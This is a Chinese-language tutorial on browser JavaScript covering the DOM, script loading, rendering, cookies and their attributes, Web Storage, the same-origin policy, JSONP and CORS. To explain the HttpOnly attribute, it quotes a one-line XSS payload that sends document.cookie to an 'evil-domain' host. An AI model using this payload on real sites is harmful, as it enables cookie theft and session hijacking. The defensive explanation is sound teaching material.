1、DOM模型
DOM 是 JavaScript 操作网页的接口,全称为“文档对象模型”(Document Object Model)。它的作用是将网页转为一个 JavaScript 对象,从而可以用脚本进行各种操作(比如增删内容)。
1)document对象
document对象是文档的根节点,每张网页都有自己的document对象。window.document属性就指向这个对象。只要浏览器开始载入 HTML 文档,该对象就存在了,可以直接使用。
document.doctype:对于 HTML 文档来说,document对象一般有两个子节点。第一个子节点是document.doctype,指向<DOCTYPE>节点,即文档类型(Document Type Declaration,简写DTD)节点。HTML 的文档类型节点,一般写成<!DOCTYPE html>。
document.documentElement:document.documentElement属性返回当前文档的根节点(root)。它通常是document节点的第二个子节点,紧跟在document.doctype节点后面。HTML网页的该属性,一般是<html>节点。
document.body,document.head:document.body属性指向<body>节点,document.head属性指向<head>节点。
document.domain:document.domain属性返回当前文档的域名,不包含协议和接口。比如,网页的网址是http://www.example.com:80/hello.html,那么domain属性就等于www.example.com。如果无法获取域名,该属性返回null。
document.title:document.title属性返回当前文档的标题。默认情况下,返回<title>节点的值。但是该属性是可写的,一旦被修改,就返回修改后的值。
document.write():document.write方法用于向当前文档写入内容。它是JavaScript语言标准化之前就存在的方法,现在完全有更符合标准的方法向文档写入内容(比如对innerHTML属性赋值)。所以,除了某些特殊情况,应该尽量避免使用document.write这个方法。
1)Element对象
Element对象对应网页的 HTML 元素。每一个 HTML 元素,在 DOM 树上都会转化成一个Element节点对象。
Element.tagName:返回指定元素的大写标签名。
网页元素可以自定义data-属性,用来添加数据。Element.dataset属性返回一个对象,可以从这个对象读写data-属性。注意,dataset上面的各个属性返回都是字符串。
// <span id="myspan" data-project-index="1" data-test='123'>Hello</span> var myspan = document.getElementById('myspan');
myspan.dataset.timestamp = new Date().getTime(); console.log(myspan.dataset.projectIndex, myspan.dataset.test); // 1 123 console.log(myspan.getAttribute('data-project-index')); // 1
除了使用dataset读写data-属性,也可以使用Element.getAttribute()和Element.setAttribute(),通过完整的属性名读写这些属性。
2、浏览器对象模型(BOM)
1)概述
1.1)script标签
a)工作原理
浏览器加载JavaScript脚本,主要通过<script>标签完成。正常的网页加载流程是这样的。
- 浏览器一边下载HTML网页,一边开始解析
- 解析过程中,发现<script>标签
- 暂停解析,网页渲染的控制权转交给JavaScript引擎
- 如果<script>标签引用了外部脚本,就下载该脚本,否则就直接执行
- 执行完毕,控制权交还渲染引擎,恢复往下解析HTML网页
加载外部脚本时,浏览器会暂停页面渲染,等待脚本下载并执行完成后,再继续渲染。原因是JavaScript可以修改DOM(比如使用document.write方法),所以必须把控制权让给它,否则会导致复杂的线程竞赛的问题。
如果外部脚本加载时间很长(比如一直无法完成下载),就会造成网页长时间失去响应,浏览器就会呈现“假死”状态,这被称为“阻塞效应”。为了避免这种情况,较好的做法是将<script>标签都放在页面底部,而不是头部。这样即使遇到脚本失去响应,网页主体的渲染也已经完成了,用户至少可以看到内容,而不是面对一张空白的页面。如果某些脚本代码非常重要,一定要放在页面头部的话,最好直接将代码嵌入页面,而不是连接外部脚本文件,这样能缩短加载时间。
将脚本文件都放在网页尾部加载,还有一个好处。在DOM结构生成之前就调用DOM,JavaScript会报错,如果脚本都在网页尾部加载,就不存在这个问题,因为这时DOM肯定已经生成了。
<html lang="en"> <head><!--...--><script>// console.log(document.body); // null/*document.addEventListener('DOMContentLoaded',function(){console.log(document.body); // <body>...</body>})*//*window.onload = function() {console.log(document.body); // <body>...</body> }*/</script> </head> <body><script>console.log(document.body); // <body>...</body></script> </body> </html>
如果有多个script标签,比如下面这样。
<script src="a.js"></script> <script src="b.js"></script>
浏览器会同时并行下载a.js和b.js,但是,执行时会保证先执行a.js,然后再执行b.js,即使后者先下载完成,也是如此。也就是说,脚本的执行顺序由它们在页面中的出现顺序决定,这是为了保证脚本之间的依赖关系不受到破坏。当然,加载这两个脚本都会产生“阻塞效应”,必须等到它们都加载完成,浏览器才会继续页面渲染。
b)defer属性
为了解决脚本文件下载阻塞网页渲染的问题,一个方法是加入defer属性。
<script src="a.js" defer></script> <script src="b.js" defer></script>
上面代码中,只有等到DOM加载完成后,才会执行a.js和b.js。
defer的运行流程如下:
- 浏览器开始解析HTML网页
- 解析过程中,发现带有defer属性的script标签
- 浏览器继续往下解析HTML网页,同时并行下载script标签中的外部脚本
- 浏览器完成解析HTML网页,此时再执行下载的脚本
有了defer属性,浏览器下载脚本文件的时候,不会阻塞页面渲染。下载的脚本文件在DOMContentLoaded事件触发前执行(即刚刚读取完</html>标签),而且可以保证执行顺序就是它们在页面上出现的顺序。对于内置而不是加载外部脚本的script标签,以及动态生成的script标签,defer属性不起作用。另外,使用defer加载的外部脚本不应该使用document.write方法。
c)async属性
解决“阻塞效应”的另一个方法是加入async属性。
<script src="a.js" async></script> <script src="b.js" async></script>
async属性的作用是,使用另一个进程下载脚本,下载时不会阻塞渲染。
- 浏览器开始解析HTML网页
- 解析过程中,发现带有async属性的script标签
- 浏览器继续往下解析HTML网页,同时并行下载script标签中的外部脚本
- 脚本下载完成,浏览器暂停解析HTML网页,开始执行下载的脚本
- 脚本执行完毕,浏览器恢复解析HTML网页
async属性可以保证脚本下载的同时,浏览器继续渲染。需要注意的是,一旦采用这个属性,就无法保证脚本的执行顺序。哪个脚本先下载结束,就先执行那个脚本。另外,使用async属性的脚本文件中,不应该使用document.write方法。
defer属性和async属性到底应该使用哪一个?一般来说,如果脚本之间没有依赖关系,就使用async属性,如果脚本之间有依赖关系,就使用defer属性。如果同时使用async和defer属性,后者不起作用,浏览器行为由async属性决定。
1.2)浏览器的组成
浏览器的核心是两部分:渲染引擎和JavaScript解释器(又称JavaScript引擎)。
a)渲染引擎
渲染引擎的主要作用是,将网页代码渲染为用户视觉可以感知的平面文档。不同的浏览器有不同的渲染引擎。
渲染引擎处理网页,通常分成四个阶段。
- 解析代码:HTML代码解析为DOM,CSS代码解析为CSSOM(CSS Object Model)
- 对象合成:将DOM和CSSOM合成一棵渲染树(render tree)
- 布局:计算出渲染树的布局(layout)
- 绘制:将渲染树绘制到屏幕
以上四步并非严格按顺序执行,往往第一步还没完成,第二步和第三步就已经开始了。所以,会看到这种情况:网页的HTML代码还没下载完,但浏览器已经显示出内容了。
b)重流和重绘
渲染树转换为网页布局,称为“布局流”;布局显示到页面的这个过程,称为“绘制”。它们都具有阻塞效应,并且会耗费很多时间和计算资源。
页面生成以后,脚本操作和样式表操作,都会触发重流和重绘。用户的互动,也会触发,比如设置了鼠标悬停(a:hover)效果、页面滚动、在输入框中输入文本、改变窗口大小等等。重流和重绘并不一定一起发生,重流必然导致重绘,重绘不一定需要重流。比如改变元素颜色,只会导致重绘,而不会导致重流;改变元素的布局,则会导致重绘和重流。大多数情况下,浏览器会智能判断,将重流和重绘只限制到相关的子树上面,最小化所耗费的代价,而不会全局重新生成网页。
作为开发者,应该尽量设法降低重绘的次数和成本。比如,尽量不要变动高层的DOM元素,而以底层DOM元素的变动代替;再比如,重绘table布局和flex布局,开销都会比较大。
优化技巧。
- 读取DOM或者写入DOM,尽量写在一起,不要混杂
- 缓存DOM信息
- 不要一项一项地改变样式,而是使用CSS class一次性改变样式
- 使用document fragment操作DOM
- 动画时使用absolute定位或fixed定位,这样可以减少对其他元素的影响
- 只在必要时才显示元素
- 使用window.requestAnimationFrame(),因为它可以把代码推迟到下一次重流时执行,而不是立即要求页面重流
- 使用虚拟DOM(virtual DOM)库
c)JavaScript引擎
JavaScript引擎的主要作用是,读取网页中的JavaScript代码,对其处理后运行。
JavaScript是一种解释型语言,也就是说,它不需要编译,由解释器实时运行。这样的好处是运行和修改都比较方便,刷新页面就可以重新解释;缺点是每次运行都要调用解释器,系统开销较大,运行速度慢于编译型语言。为了提高运行速度,目前的浏览器都将JavaScript进行一定程度的编译,生成类似字节码的中间代码,以提高运行速度。
2)window对象
在浏览器中,window对象指当前的浏览器窗口。它也是所有对象的顶层对象。
“顶层对象”指的是最高一层的对象,所有其他对象都是它的下属。JavaScript规定,浏览器环境的所有全局变量,都是window对象的属性。
2.1)URL的编码/解码方法
网页URL的合法字符分成两类。
- URL元字符:分号(;),逗号(’,’),斜杠(/),问号(?),冒号(:),at(@),&,等号(=),加号(+),美元符号($),井号(#)
- 语义字符:a-z,A-Z,0-9,连词号(-),下划线(_),点(.),感叹号(!),波浪线(~),星号(*),单引号(\),圆括号(()`)
除了以上字符,其他字符出现在URL之中都必须转义,规则是根据操作系统的默认编码,将每个字节转为百分号(%)加上两个大写的十六进制字母。
JavaScript提供四个URL的编码/解码方法:encodeURI()、encodeURIComponent()、decodeURI()、decodeURIComponent()。
encodeURI 方法的参数是一个字符串,代表整个URL。它会将元字符和语义字符之外的字符,都进行转义;encodeURIComponent只转除了语义字符之外的字符,元字符也会被转义。因此,它的参数通常是URL的路径或参数值,而不是整个URL。
encodeURI('http://www.example.com/q=春节')
// "http://www.example.com/q=%E6%98%A5%E8%8A%82"
encodeURIComponent('http://www.example.com/q=春节')
// "http%3A%2F%2Fwww.example.com%2Fq%3D%E6%98%A5%E8%8A%82" 上面代码中,encodeURIComponent会连URL元字符一起转义,所以通常只用它转URL的片段。
decodeURI用于还原转义后的URL,它是encodeURI方法的逆运算;decodeURIComponent用于还原转义后的URL片段,它是encodeURIComponent方法的逆运算。
2.2)window.location
window.location返回一个location对象,用于获取窗口当前的URL信息。它等同于document.location对象
3)history对象
浏览器窗口有一个history对象,用来保存浏览历史。
history对象提供了一系列方法,允许在浏览历史之间移动。
- back():移动到上一个访问页面,等同于浏览器的后退键。
- forward():移动到下一个访问页面,等同于浏览器的前进键。
- go():接受一个整数作为参数,移动到该整数指定的页面,比如- go(1)相当于- forward(),- go(-1)相当于- back()。
如果移动的位置超出了访问历史的边界,以上三个方法并不报错,而是默默的失败。history.go(0)相当于刷新当前页面。注意,返回上一页时,页面通常是从浏览器缓存之中加载,而不是重新要求服务器发送新的网页。
4)Cookie
4.1)概述
Cookie 是服务器保存在浏览器的一小段文本信息,每个 Cookie 的大小一般不能超过4KB。浏览器每次向服务器发出请求,就会自动附上这段信息。Cookie 主要用来分辨两个请求是否来自同一个浏览器,以及用来保存一些状态信息。它的常用场合有以下一些。
- 对话(session)管理:保存登录、购物车等需要记录的信息。
- 个性化:保存用户的偏好,比如网页的字体大小、背景色等等。
- 追踪:记录和分析用户行为。
有些开发者使用 Cookie 作为客户端储存。这样做虽然可行,但是并不推荐,因为 Cookie 的设计目标并不是这个,它的容量很小(4KB),缺乏数据操作接口,而且会影响性能。客户端储存应该使用 Web storage API 和 IndexedDB。
Cookie 包含以下几方面的信息:Cookie 的名字、Cookie 的值、到期时间、所属域名(默认是当前域名)、生效的路径(默认是当前网址)。
举例来说,用户访问网址www.example.com,服务器在浏览器写入一个 Cookie。这个 Cookie 就会包含www.example.com这个域名,以及根路径/。这意味着,这个 Cookie 对该域名的根路径和它的所有子路径都有效。如果路径设为/forums,那么这个 Cookie 只有在访问www.example.com/forums及其子路径时才有效。以后,浏览器一旦访问这个路径,浏览器就会附上这段 Cookie 发送给服务器。
document.cookie属性返回当前网页的 Cookie。浏览器的同源政策规定,两个网址只要域名相同和端口相同,就可以共享 Cookie。注意,这里不要求协议相同。也就是说,http://example.com设置的 Cookie,可以被https://example.com读取。
4.2)Cookie 与 HTTP 协议
a)HTTP 回应:Cookie 的生成
Cookie 由 HTTP 协议生成,也主要是供 HTTP 协议使用。服务器如果希望在浏览器保存 Cookie,就要在 HTTP 回应的头信息里面,放置一个Set-Cookie字段。
Set-Cookie:foo=bar
上面代码会在浏览器保存一个名为foo的 Cookie,它的值为bar。
b)HTTP 请求:Cookie 的发送
浏览器向服务器发送 HTTP 请求时,每个请求都会带上相应的 Cookie。也就是说,把服务器早前保存在浏览器的这段信息,再发回服务器。这时要使用 HTTP 头信息的Cookie字段。
Cookie: foo=bar
上面代码会向服务器发送名为foo的 Cookie,值为bar。Cookie字段可以包含多个 Cookie,使用分号(;)分隔。
Cookie: name=value; name2=value2; name3=value3
4.3)Cookie 的属性
a)Expires,Max-Age
Expires属性指定一个具体的到期时间,到了指定时间以后,浏览器就不再保留这个 Cookie。如果不设置该属性,或者设为null,Cookie 只在当前会话(session)有效,浏览器窗口一旦关闭,当前 Session 结束,该 Cookie 就会被删除。另外,浏览器根据本地时间,决定 Cookie 是否过期,由于本地时间是不精确的,所以没有办法保证 Cookie 一定会在服务器指定的时间过期。
Max-Age属性指定从现在开始 Cookie 存在的秒数,比如60 * 60 * 24 * 365(即一年)。过了这个时间以后,浏览器就不再保留这个 Cookie。如果同时指定了Expires和Max-Age,那么Max-Age的值将优先生效。
如果Set-Cookie字段没有指定Expires或Max-Age属性,那么这个 Cookie 就是 Session Cookie,即它只在本次对话存在,一旦用户关闭浏览器,浏览器就不会再保留这个 Cookie。
b)Domain,Path
Domain属性指定浏览器发出 HTTP 请求时,哪些域名要附带这个 Cookie。如果没有指定该属性,浏览器会默认将其设为当前 URL 的一级域名,比如www.example.com会设为example.com,而且以后如果访问example.com的任何子域名,HTTP 请求也会带上这个 Cookie。如果服务器在Set-Cookie字段指定的域名,不属于当前域名,浏览器会拒绝这个 Cookie。
Path属性指定浏览器发出 HTTP 请求时,哪些路径要附带这个 Cookie。只要浏览器发现,Path属性是 HTTP 请求路径的开头一部分,就会在头信息里面带上这个 Cookie。比如,PATH属性是/,那么请求/docs路径也会包含该 Cookie。当然,前提是域名必须一致。
c)Secure,HttpOnly
Secure属性指定浏览器只有在加密协议 HTTPS 下,才能将这个 Cookie 发送到服务器。另一方面,如果当前协议是 HTTP,浏览器会自动忽略服务器发来的Secure属性。该属性只是一个开关,不需要指定值。如果通信是 HTTPS 协议,该开关自动打开。
HttpOnly属性指定该 Cookie 无法通过 JavaScript 脚本拿到,主要是Document.cookie属性、XMLHttpRequest对象和 Request API 都拿不到该属性。这样就防止了该 Cookie 被脚本读到,只有浏览器发出 HTTP 请求时,才会带上该 Cookie。
(new Image()).src = "http://www.evil-domain.com/steal-cookie.php?cookie=" + document.cookie; 上面是跨站点载入的一个恶意脚本的代码,能够将当前网页的 Cookie 发往第三方服务器。如果设置了一个 Cookie 的HttpOnly属性,上面代码就不会读到该 Cookie。
4.4)document.cookie
document.cookie属性用于读写当前网页的 Cookie。读取的时候,它会返回当前网页的所有 Cookie,前提是该 Cookie 不能有HTTPOnly属性。
document.cookie // "foo=bar;baz=bar"
上面代码从document.cookie一次性读出两个 Cookie,它们之间使用分号分隔。必须手动还原,才能取出每一个 Cookie 的值。
var cookies = document.cookie.split(';'); for (var i = 0; i < cookies.length; i++) {console.log(cookies[i]); } // foo=bar // baz=bar
document.cookie属性是可写的,可以通过它为当前网站添加 Cookie。
document.cookie = 'fontSize=14';
写入的时候,Cookie 的值必须写成key=value的形式。document.cookie一次只能写入一个 Cookie。
5)Web Storage:浏览器端数据储存机制
这个API的作用是,使得网页可以在浏览器端储存数据。它分成两类:sessionStorage和localStorage。sessionStorage保存的数据用于浏览器的一次会话,当会话结束(通常是该窗口关闭),数据被清空;localStorage保存的数据长期存在,下一次访问该网站的时候,网页可以直接读取以前保存的数据。除了保存期限的长短不同,这两个对象的属性和方法完全一样。与Cookie一样,它们也受同域限制。某个网页存入的数据,只有同域下的网页才能读取。
6)同源政策
同源政策最初的含义是指,A 网页设置的 Cookie,B 网页不能打开,除非这两个网页“同源”。所谓“同源”指的是”三个相同“:协议相同、域名相同、端口相同。
同源政策的目的,是为了保证用户信息的安全,防止恶意的网站窃取数据。
6.1)Cookie
Cookie 是服务器写入浏览器的一小段信息,只有同源的网页才能共享。如果两个网页一级域名相同,只是次级域名不同,浏览器允许通过设置document.domain共享 Cookie。
举例来说,A 网页的网址是http://w1.example.com/a.html,B 网页的网址是http://w2.example.com/b.html,那么只要设置相同的document.domain,两个网页就可以共享 Cookie。因为浏览器通过document.domain属性来检查是否同源。
// 两个网页都需要设置 document.domain = 'example.com';
注意,A 和 B 两个网页都需要设置document.domain属性,才能达到同源的目的。因为设置document.domain的同时,会把端口重置为null,因此如果只设置一个网页的document.domain,会导致两个网址的端口不同,还是达不到同源的目的。
另外,服务器也可以在设置 Cookie 的时候,指定 Cookie 的所属域名为一级域名,比如.example.com。这样的话,二级域名和三级域名不用做任何设置,都可以读取这个 Cookie。
Set-Cookie: key=value; domain=.example.com; path=/
6.2)AJAX
同源政策规定,AJAX 请求只能发给同源的网址,否则就报错。除了架设服务器代理(浏览器请求同源服务器,再由后者请求外部服务),有三种方法规避这个限制:JSONP、WebSocket、CORS。
a)JSONP
JSONP 是服务器与客户端跨源通信的常用方法。最大特点就是简单适用,老式浏览器全部支持,服务端改造非常小。它的基本思想是,网页通过添加一个<script>元素,向服务器请求 JSON 数据,这种做法不受同源政策限制;服务器收到请求后,将数据放在一个指定名字的回调函数里传回来。
function addScriptTag(src) {var script = document.createElement('script');script.src = src;document.body.appendChild(script); } window.onload = function () {//addScriptTag('https://xxx/xxx.do?callback=foo');addScriptTag('https://xxx/xxx.do?jsonp=foo'); }function foo(data) {console.log(data); };
上面代码通过动态添加<script>元素,向服务器发出请求(https://xxx/xxx.do)。注意,该请求的查询字符串有一个callback或jsonp参数,用来指定回调函数的名字,这对于 JSONP 是必需的。服务器收到这个请求以后,会将数据放在回调函数的参数位置返回。由于<script>元素请求的脚本,直接作为代码运行。这时,只要浏览器定义了foo函数,该函数就会立即调用(未定义会报错)。
b)WebSocket
WebSocket 是一种通信协议,使用ws://(非加密)和wss://(加密)作为协议前缀。该协议不实行同源政策,只要服务器支持,就可以通过它进行跨源通信。
下面是一个例子,浏览器发出的 WebSocket 请求的头信息
GET /chat HTTP/1.1 Host: server.example.com Upgrade: websocket Connection: Upgrade Sec-WebSocket-Key: x3JJHMbDL1EzLkh9GBhXDw== Sec-WebSocket-Protocol: chat, superchat Sec-WebSocket-Version: 13 Origin: http://example.com
上面代码中,有一个字段是Origin,表示该请求的请求源,即发自哪个域名。正是因为有了Origin这个字段,所以 WebSocket 才没有实行同源政策。因为服务器可以根据这个字段,判断是否许可本次通信。如果该域名在白名单内,服务器就会做出回应。
c)CORS
CORS 是跨源资源分享(Cross-Origin Resource Sharing)的缩写。它是 W3C 标准,属于跨源 AJAX 请求的根本解决方法。相比 JSONP 只能发GET请求,CORS 允许任何类型的请求。
7)AJAX